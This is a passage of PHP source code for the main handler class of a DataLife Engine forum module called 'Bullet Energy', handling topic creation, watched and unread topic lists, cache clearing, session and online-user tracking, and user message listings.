<?php
/*
=================================================================
Bullet Energy - by White-Master 
-----------------------------------------------------------------
http://white-master.ru/
-----------------------------------------------------------------
Copyright (c) 2011 White-Master
=================================================================
Данный код защищен авторскими правами
=================================================================
Файл: main_handler.class.php
=================================================================
*/
class BulletEnergyHandler extends BulletEnergy
{
  public $db = null;
  private $casheSySPath = '';
  private $time = 0;
  private $timeMarkerOldTopic = 0;
  private $userID = '';
  private $page = 0;
  private $id = 0;
  private $filter = null;
  public $linck = null;
  private $userName = '';
  private $sideBar = array();
  public function __construct()
  {
    //define('ROOT_DIR', substr(dirname(__file__), 0, 0));
    //define('ENGINE_DIR', ROOT_DIR . '/engine');
    //:TODO: refrect cashe method and refrect $this->Xuser
    require_once (ENGINE_DIR . '/bullet_energy/classes/filter.class.php');
    $this->filter = new BulletFilter;
    $this->filter->allow_url = parent::$group_user[parent::$id_member['user_group']]['allow_url'];
    $this->filter->allow_image = parent::$group_user[parent::$id_member['user_group']]['allow_image'];
    require_once (ENGINE_DIR . '/bullet_energy/classes/linck.class.php');
    $this->linck = new BulletEnergyLinck(array('cpu' => parent::$modules_config['cpu'], 'home' => parent::$config_dle['http_home_url']));
    if (!class_exists('db')) {
      require_once ENGINE_DIR . '/classes/mysql.class.php';
    }
    $this->db = new db;
    $this->casheSySPath = ENGINE_DIR . '/bullet_energy/cache/system/';
    $this->time = time() + (parent::$config_dle['date_adjust'] * 60);
    $this->timeMarkerOldTopic = $this->time - parent::$modules_config['topic_day'] * 86400;
    $this->userID = $this->db->safesql(parent::$id_member['user_id']);
    $this->userName = $this->db->safesql(parent::$id_member['name']);
    $this->id = $this->getInt('id');
    $this->page = $this->getInt('page');
    $this->sideBar = array('main', 'categories', 'showtopic');
  }
  protected function _searchPage()
  {
    //:TODO:
    if ($this->ckeckModulesConfig('be_access_search')) {
    }
  }
  protected function _watchedContent()
  {
    $row = array();
    $option = array();
    if (!parent::$logged_is) {
      $option['return'] = parent::$view->error_set(parent::$modules_lang['topic_19'], parent::$modules_lang['topic_37']);
    } else {
      $option['joinAprove'] = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND topic.topic_approve = '1'";
      $row = $this->db->super_query("SELECT 
                                       count( * ) AS count 
                                     FROM " . PREFIX . "_be_feed AS feed
                                     WHERE 
                                        feed.id_user = {$this->userID}
                                     AND feed.id_tree IN(" . $this->_getGroupIdParseTree() . ")");
      $option['returnIsNoTopic'] = $row['count'] > 0 ? false : parent::$view->error_set(parent::$modules_lang['topic_19'], parent::$modules_lang['topicFeedNo']);
      $row = $this->db->super_query("SELECT 
                                       count( * ) AS count 
                                     FROM " . PREFIX . "_be_feed AS feed
                                     LEFT JOIN " . PREFIX . "_be_topic AS topic ON (
                                       topic.id = feed.id_topic
                                     )
                                     LEFT JOIN " . PREFIX . "_be_read_topic AS topic_read ON (
                                       topic_read.ber_topic_id = topic.id
                                     )
                                     AND topic_read.ber_user_id = {$this->userID}
                                     WHERE 
                                       feed.id_user = {$this->userID}
                                     AND feed.id_tree IN(" . $this->_getGroupIdParseTree() . ")
                                     AND topic.last_reply_date > topic_read.ber_read_date
                                     {$option['joinAprove']}");
      $option['paginator'] = $this->setPaginator(array('unreadCount' => $row['count'], 'linck' => $this->linck->watchedLinck()));
      $this->db->query("SELECT 
                          topic.id_parent, 
                          topic.last_reply_info, 
                          topic.id, topic.title, 
                          topic.reply_count, 
                          topic.view_count, 
                          topic.autor_id, 
                          topic.autor, 
                          topic.topic_descr_site, 
                          topic.post_date, 
                          topic.rating, 
                          topic.topic_approve, 
                          topic.topic_fixed, 
                          topic.topic_type
                        FROM " . PREFIX . "_be_feed AS feed
                        LEFT JOIN " . PREFIX . "_be_topic AS topic ON (
                          topic.id = feed.id_topic
                        )
                        LEFT JOIN " . PREFIX . "_be_read_topic AS topic_read ON (
                          topic_read.ber_topic_id = topic.id
                        )
                        AND topic_read.ber_user_id = {$this->userID}
                        WHERE 
                          feed.id_user = {$this->userID}
                        AND feed.id_tree IN(" . $this->_getGroupIdParseTree() . ")
                        AND topic.last_reply_date > topic_read.ber_read_date
                        {$option['joinAprove']}
                        LIMIT {$option['paginator']['start']}, {$option['paginator']['nums']}");
      if (!$this->db->num_rows()) {
        $option['return'] = parent::$view->error_set(parent::$modules_lang['topic_19'], parent::$modules_lang['topicVisIsNo']);
      } else {
        while ($row = $this->db->get_row()) {
          $data = array();
          $data['id_parent'] = $row['id_parent'];
          $data['status_read'] = 'unread';
          $data['id'] = $row['id'];
          $data['title'] = stripslashes($row['title']);
          $data['reply_count'] = $row['reply_count'];
          $data['statusTitl'] = parent::$modules_lang['topic_35'];
          $data['view_count'] = $row['view_count'];
          $data['autor_id'] = $row['autor_id'];
          $data['autor'] = stripslashes($row['autor']);
          $data['site_description'] = stripslashes($row['topic_descr_site']);
          $data['post_date'] = $row['post_date'];
          $data['rating'] = $row['rating'];
          $data['last'] = unserialize($row['last_reply_info']);
          $data['topic_approve'] = $row['topic_approve'];
          $data['fixed'] = $row['topic_fixed'];
          $data['topic_type'] = $row['topic_type'];
          parent::$view->setTopicList($data);
        }
        $option['return'] = parent::$view->setBlockTopic(array('topicList' => parent::$view->tpl->result['short_topic'], 'titlAction' => parent::$modules_lang['topic_61'], 'paginator' => $option['paginator']['paginator'], 'treeDescr' => parent::$modules_lang['topic_62']));
      }
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_10']));
    }
    $option['return'] = $option['returnIsNoTopic'] ? $option['returnIsNoTopic'] : $option['return'];
    return parent::$view->setTplMainBlock($option['return'], $this->_setMetaTitl());
  }
  protected function _checkValidCashe()
  {
    // clearstatcache();
    if (@filemtime($this->casheSySPath . 'tree_permanent.tmp') - ($this->time - 900) <= 0) {
      $this->_cacheDeleteAll();
    }
  }
  private function _cacheDeleteAll()
  {
    //arrat ro file nice
    if (file_exists($this->casheSySPath . 'groups_config.tmp')) {
      @unlink($this->casheSySPath . 'groups_config.tmp');
    }
    if (file_exists($this->casheSySPath . 'question.tmp')) {
      @unlink($this->casheSySPath . 'question.tmp');
    }
    if (file_exists($this->casheSySPath . 'moderator.tmp')) {
      @unlink($this->casheSySPath . 'moderator.tmp');
    }
    if (file_exists($this->casheSySPath . 'tree_permanent.tmp')) {
      @unlink($this->casheSySPath . 'tree_permanent.tmp');
    }
    if (file_exists($this->casheSySPath . 'advertising.tmp')) {
      @unlink($this->casheSySPath . 'advertising.tmp');
    }
    if (file_exists($this->casheSySPath . 'stat.tmp')) {
      @unlink($this->casheSySPath . 'stat.tmp');
    }
    $this->db->query("SELECT be_groups_id FROM " . PREFIX . "_be_groups ORDER BY be_groups_id ASC");
    while ($row = $this->db->get_row()) {
      if (file_exists($this->casheSySPath . 'sys_cashe_group_' . $row['be_groups_id'] . '.tmp')) {
        @unlink($this->casheSySPath . 'sys_cashe_group_' . $row['be_groups_id'] . '.tmp');
      }
    }
  }
  protected function _addTopicDB()
  {
    if (!parent::$logged_is) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['topic_8']);
    }
    if (strip_tags(trim($_POST['post_text'])) != '') {
      die();
    }
    if (!$this->_checkTreeConfigParam('tree_access_topic_new', $this->id)) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_9']);
    }
    $option = array('foto' => parent::$id_member['foto'] ? parent::$id_member['foto'] : '', 'ipUser' => ip2long($_SERVER['REMOTE_ADDR']), 'topicName' => $this->db->safesql($this->_dle_substr($this->filter->process(strip_tags(parent::$modules_config['title_case'] ? $this->_ucfirs($_POST['topic_name'], parent::$config_dle['charset']) : $_POST['topic_name'])), 0, 250, parent::$config_dle['charset'])), 'topicDescription' => $this->db->safesql($this->_dle_substr($this->filter->process(strip_tags($_POST['topic_descr'])), 0, 250, parent::$config_dle['charset'])), 'topicOneMessage' => $this->db->safesql($this->filter->BB_Parse($this->filter->process($_POST['message_new_topic']), false)), 'topicType' => $this->getInt('topic_type'), 'aprove' => $this->checkModerator($this->id) ? 1 : 0, 'topicIsPrivateUser' => $this->db->safesql($this->filter->process(strip_tags($_POST['private_topic_user']))));
    $option['meta'] = $this->db->safesql(serialize(array('Titl' => stripcslashes($option['topicName']), 'Description' => $option['topicDescription'] ? $this->_generateMetaDesc($option['topicDescription']) : $this->_generateMetaDesc($option['topicOneMessage']), 'Key' => $option['topicDescription'] ? $this->_generateMetaKey($option['topicDescription']) : $this->_generateMetaKey($option['topicOneMessage']))));
    if ($this->_dle_strlen($option['topicName'], parent::$config_dle['charset']) > 250) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['topic_9']);
    }
    if ($option['topicType'] == 1) {
      if ($this->ckeckModulesConfig('be_access_topic_new_private') == 0) {
        return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_7']);
      }
      if ($option['topicIsPrivateUser'] == '') {
        return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_8']);
      }
    }
    if ($option['topicOneMessage'] == '') {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_10']);
    }
    $this->db->query("INSERT INTO " . PREFIX . "_be_topic 
                     (id,id_parent,title,reply_count,view_count,autor_id,autor,post_date,last_reply_date,last_reply_info,rating,topic_fixed,topic_type,topic_private_user,topic_descr_site,topic_approve,topic_meta,topic_vote) 
                     VALUES (NULL,'{$this->id}','{$option['topicName']}','0','0','{$this->userID}','{$this->userName}','{$this->time}','{$this->time}','0','0','0','{$option['topicType']}','{$option['topicIsPrivateUser']}','{$option['topicDescription']}','{$option['aprove']}','{$option['meta']}','')");
    $option['topicInsertId'] = $this->db->insert_id();
    $row = $this->db->super_query("SELECT count( * ) AS count 
                                   FROM " . PREFIX . "_be_attachment 
                                   WHERE attachment_type = 1 
                                   AND attachment_user_name LIKE '{$this->userName}' 
                                   AND attachment_user_id = '{$this->userID}' 
                                   AND attachment_content_id = 0");
    $option['messageAttachmentCount'] = $row['count'] > 0 ? 1 : 0;
    $this->db->query("INSERT INTO " . PREFIX . "_be_message 
                      (id,id_topic,autors_id,message_autor,message_autor_ip,message_date,message_text,message_approve,tree_id,parent_msg,attachment,user_thanks) 
                      VALUES (NULL,'{$option['topicInsertId']}','{$this->userID}','{$this->userName}','{$option['ipUser']}','{$this->time}','{$option['topicOneMessage']}','{$option['aprove']}',{$this->id},'1','{$option['messageAttachmentCount']}','')");
    $option['messageInsertId'] = $this->db->insert_id();
    $option['lastInfo'] = $this->_generateLastPostInfo(array($this->userName, $this->time, $option['topicName'], $this->linck->topic_linck_redirect($option['topicInsertId']) . '#message-' . $option['messageInsertId'], $option['foto'], $this->userID));
    if ($this->ckeckModulesConfig('be_upload_img')) {
      $this->db->query("UPDATE " . PREFIX . "_be_attachment 
                        SET attachment_content_id = '{$option['messageInsertId']}',
                        topic_id = '{$option['topicInsertId']}' 
                        WHERE attachment_user_id = '{$this->userID}' 
                        AND attachment_user_name = '{$this->userName}' 
                        AND attachment_content_id = 0
                        AND attachment_type = 0");
    }
    if ($this->ckeckModulesConfig('be_upload') and $option['messageAttachmentCount']) {
      $this->db->query("UPDATE " . PREFIX . "_be_attachment 
                        SET attachment_content_id = '{$option['messageInsertId']}',
                        topic_id = '{$option['topicInsertId']}' 
                        WHERE attachment_user_id = '{$this->userID}' 
                        AND attachment_user_name = '{$this->userName}' 
                        AND attachment_content_id = 0
                        AND attachment_type = 1");
    }
    $this->db->query("UPDATE " . PREFIX . "_be_topic 
                      SET last_reply_info = '{$option['lastInfo']}' 
                      WHERE id = '{$option['topicInsertId']}'");
    $this->db->query("UPDATE " . PREFIX . "_be_tree 
                      SET tree_last_info = '{$option['lastInfo']}', 
                      tree_topic = tree_topic + 1,
                      tree_answer = tree_answer + 1,
                      tree_last_date = '{$this->time}' 
                      WHERE tree_id = '{$this->id}'");
    if (parent::$treePermanent[$this->id]['tree_count']) {
      $this->db->query("UPDATE " . PREFIX . "_users 
                      SET forum_topic_count = forum_topic_count + 1,
                      forum_post_count = forum_post_count + 1 
                      WHERE user_id = '{$this->userID}'");
    }
    $option['unreadTopicCountPage'] = $this->db->safesql(parent::$modules_config['topic_count'] * 3);
    $option['joinAprove'] = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND " . PREFIX . "_be_topic.topic_approve = '1'";
    $row = $this->db->super_query("SELECT COUNT(*) AS count 
                                   FROM " . PREFIX . "_be_topic 
                                    LEFT JOIN " . PREFIX . "_be_read_topic 
                                   ON " . PREFIX . "_be_topic.id=" . PREFIX . "_be_read_topic.ber_topic_id 
                                   AND '{$this->userID}' = " . PREFIX . "_be_read_topic.ber_user_id 
                                   WHERE id_parent = '{$this->id}'
                                   {$option['joinAprove']}
                                   AND " . PREFIX . "_be_read_topic.ber_read_date 
                                   IS NULL OR " . PREFIX . "_be_read_topic.ber_read_date < " . PREFIX . "_be_topic.last_reply_date
                                   AND " . PREFIX . "_be_topic.post_date < {$this->timeMarkerOldTopic}");
    if (intval($row['count']) - 1 == 0) {
      $this->db->query("INSERT INTO " . PREFIX . "_be_read_tree 
                        (bert_read_id,bert_user_id,bert_tree_id,bert_read_date) 
                        VALUES (NULL,'{$this->userID}','{$this->id}','{$this->time}') 
                        ON DUPLICATE KEY UPDATE bert_read_date = {$this->time}");
    }
    $this->_cacheDeleteAll();
    header('Location: ' . $this->linck->topicIsRedirect($option['topicInsertId']));
  }
  private function _generateLastPostInfo(array $data = array())
  {
    $ret = array();
    foreach ($data as $key => $val) {
      $ret[] = stripcslashes(stripcslashes($val));
    }
    if (!$ret) {
      return false;
    }
    return $this->db->safesql(serialize($ret));
  }
  private function _generateMetaDesc($data = '')
  {
    $data = stripcslashes(strip_tags($data));
    $chars = array("\r" => '', "\n" => '', "\0" => '', "\xC2\xA0" => ' ', "\x22" => '', "\x60" => '', "\t" => '', ',' => '', "." => '', "/" => '', "¬" => '', "#" => '', ";" => '', ":" => '', "@" => '', "~" => '', "[" => '', "]" => '', "{" => '', "}" => '', "=" => '', "-" => '', "+" => '', ")" => '', "(" => '', "*" => '', "^" => '', "%" => '', "$" => '', "<" => '', ">" => '', "?" => '', "!" => '', '"' => '', '&nbsp;' => ' ');
    return trim($this->_dle_substr(strtr($data, $chars), 0, 190, parent::$config_dle['charset']));
  }
  private function _generateMetaKey($data = '')
  {
    $data = stripcslashes(strip_tags($data));
    $newarr = array();
    $chars = array("\r" => '', "\n" => '', "\0" => '', "\xC2\xA0" => ' ', "\x22" => '', "\x60" => '', "\t" => '', ',' => '', "." => '', "/" => '', "¬" => '', "#" => '', ";" => '', ":" => '', "@" => '', "~" => '', "[" => '', "]" => '', "{" => '', "}" => '', "=" => '', "-" => '', "+" => '', ")" => '', "(" => '', "*" => '', "^" => '', "%" => '', "$" => '', "<" => '', ">" => '', "?" => '', "!" => '', '"' => '', '&nbsp;' => ' ');
    $arr = explode(" ", strtr($data, $chars));
    foreach ($arr as $word) {
      if (strlen($word) > 3)
        $newarr[] = trim($word);
    }
    $arr = array_count_values($newarr);
    arsort($arr);
    $arr = array_keys($arr);
    $arr = array_slice($arr, 0, 20);
    return implode(", ", $arr);
  }
  protected function _home()
  {
    $option = array();
    $joinConstruct = $this->_joinReadTree();
    if (!parent::$sys_cashe['accessTreeView']) {
      die('Для работы форума нужно создать не меньше одной категории и подфорума.');
    }
    $this->db->query("SELECT * {$joinConstruct['select']} FROM " . PREFIX . "_be_tree {$joinConstruct['join']} WHERE " . PREFIX . "_be_tree.tree_id IN (" . parent::$sys_cashe['accessTreeView'] . ")");
    $tree = array();
    while ($row = $this->db->get_row()) {
      $tree[$row['tree_id']] = array();
      foreach ($row as $key => $value) {
        $tree[$row['tree_id']][$key] = stripslashes($value);
        $tree[$row['tree_id']]['read'] = (isset($row['bert_read_date']) && $row['bert_read_date'] < $row['tree_last_date']);
      }
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_2']));
    }
    $option['widget'] = in_array(parent::$action, $this->sideBar) ? $this->_getSidebar() : false;
    return parent::$view->setTplMainBlock(parent::$view->setListTreeMainPage($tree), $this->_setMetaTitl(), array('widget' => $option['widget']));
  }
  private function _getSidebar(array $option = array())
  {
    $ret = array();
    $ret['message'] = parent::$modules_config['widget_last_post'] ? $this->_getNewMessage() : '';
    if (parent::$modules_config['session_check'] and parent::$modules_config['online']) {
      $ret['online'] = $this->_getOnlineBlock($option);
    }
    return $ret;
  }
  private function _setSessionTable(array $data = array())
  {
    //var_dump($data);
    $option = array();
    $robotIsArray = array("#.*(yandex|yadirectbot).*#si" => "Yandex", "#.*(google|accoona|gsa-crawler).*#si" => "Google", "#.*rambler.*#si" => "Rambler", '#.*mail.ru.*#si' => "Mail Ru", "#.*aport.*#si" => "Aport", "#.*TurtleScanner.*#si" => "Turtle", "#.*slurp.*#si" => "Inktomi Spider", "#.*msnbot.*#si" => "Msn", "#.*(askjeeves|ask jeeves).*#si" => "Ask Com", "#.*yahoo.*#si" => "Yahoo", "#.*scooter.*#si" => "AltaVista", "#.*lycos.*#si" => "Lycos.com", "#.*libwww.*#si" => "Punto", "#.*picsearch.*#si" => "PicSearch", "#.*mnogosearch.*#si" => "mnoGoSearch", "#.*(is_archiver|archive_org).*#si" => "Archive Org", );
    $result = preg_replace(array_keys($robotIsArray), $robotIsArray, $_SERVER['HTTP_USER_AGENT']);
    if ($result == $_SERVER['HTTP_USER_AGENT']) {
      $option['agent'] = $this->userName ? $this->userName : parent::$modules_lang['side_bar_4'];
      $option['isRobot'] = 0;
    } else {
      $option['agent'] = $result;
      $option['isRobot'] = 1;
    }
    $this->userID = $this->userID ? $this->userID : 0;
    $option = array('ip' => $this->db->safesql(ip2long($_SERVER['REMOTE_ADDR'])), 'session' => $this->db->safesql(session_id()), 'user_group' => $this->db->safesql(parent::$id_member['user_group']), 'typyInfo' => $data['idTopic'] ? $data['idTopic'] : 0, 'paramState' => $this->db->safesql(serialize(array('stuck' => $this->db->safesql(parent::$modules_lang['side_bar_3'] . $data['action']), 'agensi' => $option['agent'], 'isRobot' => $option['isRobot']))), 'key' => parent::$logged_is ? $this->userID : $this->db->safesql(ip2long($_SERVER['REMOTE_ADDR'])));
    $this->db->query("INSERT INTO " . PREFIX . "_be_session 
                      (`session_id`, `user_id`, `key`, `ip`, `date`, `user_group`, `info_type`, `param_state`)
                       VALUES ('{$option['session']}', '{$this->userID}', '{$option['key']}' ,'{$option['ip']}', '{$this->time}', '{$option['user_group']}', '{$option['typyInfo']}', '{$option['paramState']}')
                       ON DUPLICATE KEY UPDATE 
                         session_id = '{$option['session']}', 
                         ip = '{$option['ip']}', 
                         date = '{$this->time}', 
                         user_group = '{$option['user_group']}', 
                         info_type = '{$option['typyInfo']}', 
                         param_state = '{$option['paramState']}'");
  }
  private function _getOnlineBlock($data = array())
  {
    $option = array();
    $option['data'] = $this->time - parent::$modules_config['session_time'] * 60;
    $option['sql'] = parent::$action == 'showtopic' ? "SELECT * FROM " . PREFIX . "_be_session WHERE info_type = {$this->id} AND date > {$option['data']} ORDER BY date DESC" : "SELECT * FROM " . PREFIX . "_be_session WHERE date > {$option['data']} ORDER BY date DESC";
    $this->db->query($option['sql']);
    if (!$this->db->num_rows()) {
      return '';
    }
    $option['user'] = 0;
    $option['guest'] = 0;
    $option['linck'] = array();
    while ($row = $this->db->get_row()) {
      $row['dates'] = unserialize($row['param_state']);
      $row['user_id'] ? $option['user']++ : $option['guest']++;
      if ($row['user_id']) {
        $option['linck'][] = $this->linck->setLinckCardUser(array($row['dates']['agensi'], $row['user_id'], $row['dates']['stuck'])) . $row['dates']['agensi'] . '</a>';
      } else {
        if ($row['dates']['isRobot']) {
          $option['linck'][] = $row['dates']['agensi'];
        }
      }
    }
    $option['all'] = $option['guest'] + $option['user'];
    if (count($option['linck'])) {
      $option['iSuser'] = '<ul>' . implode(', ', $option['linck']) . '</ul>';
    }
    $option['statBlock'] = parent::$action != 'showtopic' ? '<div class="statForum"><dl><dt>' . parent::$modules_lang['side_bar_25'] . '</dt><dd><strong>' . parent::$stats['topic']['count'] . '</strong></dd><dt>' . parent::$modules_lang['side_bar_26'] . '</dt><dd><strong>' . parent::$stats['post']['count'] . '</strong></dd><dt>' . parent::$modules_lang['side_bar_27'] . '</dt><dd><strong>' . parent::$stats['user']['count'] . '</strong></dd><dt>' . parent::$modules_lang['side_bar_28'] . '</dt><dd>' . parent::$stats['userLast'] . '</dd></dl></div>' : '';
    $option['titlBlock'] = parent::$action == 'showtopic' ? parent::$modules_lang['side_bar_23'] : parent::$modules_lang['side_bar_24'];
    return '<div class="blockRight userOnlines"><div class="conteiner"><h3>' . $option['titlBlock'] . '</h3><div class="innerts"><div class="userClin">' . $option['iSuser'] . '
    <p>' . parent::$modules_lang['side_bar_5'] . $option['all'] . '<br>(' . parent::$modules_lang['side_bar_7'] . $option['user'] . ', ' . parent::$modules_lang['side_bar_8'] . ': ' . $option['guest'] . ')</p></div>' . $option['statBlock'] . '</div></div></div>';
  }
  private function _joinReadTree()
  {
    $select = '';
    $join = '';
    if ($this->userID) {
      $select .= ", IF(" . PREFIX . "_be_read_tree.bert_read_date > {$this->timeMarkerOldTopic}, " . PREFIX . "_be_read_tree.bert_read_date, {$this->timeMarkerOldTopic}) AS bert_read_date";
      $join .= " LEFT JOIN " . PREFIX . "_be_read_tree ON (" . PREFIX . "_be_read_tree.bert_tree_id = " . PREFIX . "_be_tree.tree_id AND " . PREFIX . "_be_read_tree.bert_user_id = {$this->userID})";
    } else {
      //$select .= "  ";
      //$select .= ",  NULL AS bert_read_date";
    }
    return array('select' => $select, 'join' => $join);
  }
  /**
   * BulletEnergyHandler::_messageUser()
   * Метод вывода страницы собщений пользователя. 
   * @return
   */
  protected function _messageUser()
  {
    $name = $this->db->safesql(strip_tags(str_replace('/', '', $_GET['name'])));
    $row = $this->db->super_query("SELECT name,user_id,foto FROM " . PREFIX . "_users WHERE name LIKE '{$name}' LIMIT 1");
    $option = array('idUser' => intval($row['user_id']), 'foto' => $row['foto']);
    if (!$option['idUser']) {
      die('no user');
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_12'] . $name));
    }
    $row = $this->db->super_query("SELECT count( * ) AS count 
                                   FROM " . PREFIX . "_be_message AS msg
                                   WHERE 
                                     autors_id = '{$option['idUser']}'
                                   AND msg.tree_id IN(" . $this->_getGroupIdParseTree() . ")");
    $pag = $this->setPaginator(array('unreadCount' => $row['count'], 'name_user' => $name, 'linck' => $this->linck->userMessage($name)));
    $this->db->query("SELECT 
                        msg.message_autor, 
                        msg.autors_id, 
                        msg.message_date, 
                        msg.message_text, 
                        msg.msg_edit_date, 
                        msg.edit_autor, 
                        msg.id_topic,
                        topic.id, 
                        topic.title, 
                        topic.id_parent, 
                        topic.reply_count
                      FROM " . PREFIX . "_be_message AS msg
                      LEFT JOIN " . PREFIX . "_be_topic AS topic ON	(
                        msg.id_topic = topic.id
                      )
                      WHERE 
                        msg.autors_id = '{$option['idUser']}'
                      AND msg.tree_id IN(
                        " . $this->_getGroupIdParseTree() . "
                      ) 
                      ORDER BY 
                        msg.message_date DESC 
                      LIMIT {$pag['start']},{$pag['nums']}");
    if (!$this->db->num_rows()) {
      return parent::$view->setTplMainBlock(parent::$view->error_set(parent::$modules_lang['user_6'], parent::$modules_lang['user_4']), $this->_setMetaTitl(array('post' => 0)), array('spedbar' => array('titlAction' => parent::$modules_lang['user_2'] . $name)));
    } else {
      while ($row = $this->db->get_row()) {
        $data = array();
        $data['idTree'] = $row['id_parent'];
        $data['titlTree'] = parent::$treePermanent[$row['id_parent']]['tree_title'];
        $data['title'] = stripcslashes($row['title']);
        $data['id'] = $row['id_topic'];
        $data['message_autor'] = $row['message_autor'];
        $data['autors_id'] = $row['autors_id'];
        $data['message_date'] = $this->langdate(parent::$modules_config['time_step_message'], $row['message_date']);
        $data['message_text'] = stripslashes($row['message_text']);
        $data['foto'] = $option['foto'] ? parent::$config_dle['http_home_url'] . 'uploads/fotos/' . $option['foto'] : parent::$config_dle['http_home_url'] . 'templates/' . parent::$config_dle['skin'] . '/bullet_energy/images/noavatar.png';
        $data['msg_edit_date'] = $row['msg_edit_date'];
        $data['edit_autor'] = $row['edit_autor'];
        parent::$view->setTplMessageSearchUser($data);
      }
      return parent::$view->setTplMainBlock(parent::$view->setTplViewFullTopic(array('message' => parent::$view->tpl->result['short_message'], 'paginator' => $pag['paginator'])), $this->_setMetaTitl(array('titleAction' => parent::$modules_lang['user_2'] . $name)), array('spedbar' => array('titlAction' => parent::$modules_lang['user_2'] . $name)));
    }
  }
  protected function _topicUser()
  {
    $name = $this->db->safesql(strip_tags(str_replace('/', '', $_GET['name'])));
    $row = $this->db->super_query("SELECT name,user_id,foto FROM " . PREFIX . "_users WHERE name LIKE '{$name}' LIMIT 1");
    $option = array('idUser' => intval($row['user_id']), 'foto' => $row['foto']);
    if (!$option['idUser']) {
      die('no user');
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_13'] . $name));
    }
    $row = $this->db->super_query("SELECT count( * ) AS count 
                                   FROM " . PREFIX . "_be_topic AS topic
                                   WHERE 
                                     autor_id = '{$option['idUser']}'
                                   AND topic.id_parent IN(
                                     " . $this->_getGroupIdParseTree() . "
                                   )");
    $pag = $this->setPaginator(array('unreadCount' => $row['count'], 'name_user' => $name, 'linck' => $this->linck->userTopic($name)));
    $this->db->query("SELECT topic.title,topic.reply_count,topic.id,topic.id_parent,topic.post_date,topic.autor_id,topic.autor,
                             msg.message_text,msg.msg_edit_date,msg.edit_autor,msg.message_date
                             FROM " . PREFIX . "_be_topic AS topic
                             LEFT JOIN " . PREFIX . "_be_message AS msg
                             ON	msg.id_topic = topic.id
                             AND  msg.parent_msg = 1
                             WHERE topic.autor_id = '{$option['idUser']}'
                             AND topic.id_parent IN(" . $this->_getGroupIdParseTree() . ")
                             ORDER BY topic.last_reply_date DESC 
                             LIMIT {$pag['start']},{$pag['nums']}");
    if (!$this->db->num_rows()) {
      return parent::$view->setTplMainBlock(parent::$view->error_set(parent::$modules_lang['user_6'], parent::$modules_lang['user_7']), $this->_setMetaTitl(array('titleAction' => parent::$modules_lang['information'])), array('spedbar' => array('titlAction' => parent::$modules_lang['user_2'] . $name)));
    } else {
      while ($row = $this->db->get_row()) {
        $data = array();
        $data['idTree'] = $row['id_parent'];
        $data['titlTree'] = parent::$treePermanent[$row['id_parent']]['tree_title'];
        $data['title'] = stripcslashes($row['title']);
        $data['id'] = $row['id'];
        $data['message_autor'] = $row['autor'];
        $data['autors_id'] = $row['autor_id'];
        $data['reply_count'] = $row['reply_count'];
        $data['message_date'] = $this->langdate(parent::$modules_config['time_step_message'], $row['message_date']);
        $data['message_text'] = stripslashes($row['message_text']);
        $data['foto'] = $option['foto'] ? parent::$config_dle['http_home_url'] . 'uploads/fotos/' . $option['foto'] : parent::$config_dle['http_home_url'] . 'templates/' . parent::$config_dle['skin'] . '/bullet_energy/images/noavatar.png';
        $data['msg_edit_date'] = $row['msg_edit_date'];
        $data['edit_autor'] = $row['edit_autor'];
        parent::$view->topic_search_user($data);
      }
      return parent::$view->setTplMainBlock(parent::$view->setTplViewFullTopic(array('message' => parent::$view->tpl->result['short_message'], 'topicName' => '', 'replic' => '', 'paginator' => $pag['paginator'])), $this->_setMetaTitl(array('titleAction' => parent::$modules_lang['user_1'] . $name)), array('spedbar' => array('titlAction' => parent::$modules_lang['user_1'] . $name)));
    }
  }
  private function _getGroupIdParseTree()
  {
    return $this->db->safesql(implode(',', array_intersect(explode(',', parent::$sys_cashe['accessTreeView']), explode(',', parent::$sys_cashe['accessTopicView'])))) ? $this->db->safesql(implode(',', array_intersect(explode(',', parent::$sys_cashe['accessTreeView']), explode(',', parent::$sys_cashe['accessTopicView'])))) : 0;
  }
  protected function _topicUnread()
  {
    $row = array();
    $option = array();
    if (!parent::$logged_is) {
      $option['return'] = parent::$view->error_set(parent::$modules_lang['topic_19'], parent::$modules_lang['topic_37']);
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_10']));
    }
    if (parent::$logged_is) {
      $option['joinAprove'] = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND topic.topic_approve = 1";
      $row = $this->db->super_query("SELECT count( * ) AS count 
                                     FROM " . PREFIX . "_be_topic AS topic
                                     LEFT JOIN " . PREFIX . "_be_read_topic AS read_topic ON (
                                       read_topic.ber_topic_id = topic.id 
                                       AND read_topic.ber_user_id = {$this->userID} 
                                       AND read_topic.ber_read_date >= topic.last_reply_date
                                     ) 
                                     WHERE 
                                       read_topic.ber_read_date IS NULL 
                                     AND topic.id_parent IN(
                                       " . $this->_getGroupIdParseTree() . "
                                     ) 
                                     AND topic.last_reply_date > {$this->timeMarkerOldTopic}
                                     {$option['joinAprove']}");
      $option['paginator'] = $this->setPaginator(array('unreadCount' => $row['count'], 'linck' => $this->linck->pageNewPost()));
      $this->db->query("SELECT * FROM " . PREFIX . "_be_topic AS topic
                        LEFT JOIN " . PREFIX . "_be_read_topic  AS read_topic ON (
                          read_topic.ber_topic_id = topic.id
                          AND read_topic.ber_user_id = {$this->userID} 
                          AND read_topic.ber_read_date >= topic.last_reply_date
                        ) 
                        WHERE 
                          read_topic.ber_read_date IS NULL 
                        AND topic.id_parent IN(
                          " . $this->_getGroupIdParseTree() . "
                        )
                        AND topic.last_reply_date > {$this->timeMarkerOldTopic}
                        {$option['joinAprove']}
                        ORDER BY 
                          last_reply_date 
                        DESC LIMIT {$option['paginator']['start']},{$option['paginator']['nums']}");
      if (!$this->db->num_rows()) {
